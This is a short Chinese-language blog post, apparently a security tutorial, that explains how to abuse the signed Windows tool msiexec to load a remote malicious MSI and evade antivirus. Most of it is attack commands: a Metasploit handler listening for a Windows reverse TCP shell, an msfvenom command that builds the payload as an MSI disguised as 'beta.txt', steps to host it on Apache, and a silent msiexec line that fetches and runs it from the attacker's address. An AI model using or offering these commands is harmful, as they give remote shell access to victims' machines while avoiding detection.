白名單Msiexec執行payload方式!
VSole2023-02-13 10:57:30
msiexec是非常重要的操作系統組件,通常用來安裝Windows Installer安裝包,而且msiexec支持遠程加載msi程序功能,因此可以通過msiexec加載遠程的惡意msi程序,實現免殺的效果。其它的白名單執行payload包括:Wmic、Mshta.exe、 Regsvr32、Regsvcs、Regasm、 Rundll32、PsExec、 Cmstp.exe等。
MSF監聽設置
>> use exploit/multi/handler>> set lhost 192.168.146.130>> set lport 9998>> set payload windows/x64/shell/reverse_tcp>> exploit -j

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.146.130 LPORT=9998 -f msi > beta.txt

開啟web服務,將beta.txt移動到web服務的根目錄
>> sudo service apache2 start>> sudo mv beta.txt /var/www/html/
msiexecXEC執行Payload
C:\Windows\System32\msiexec.exe /q /i http://192.168.146.130/beta.txt

VSole
網絡安全專家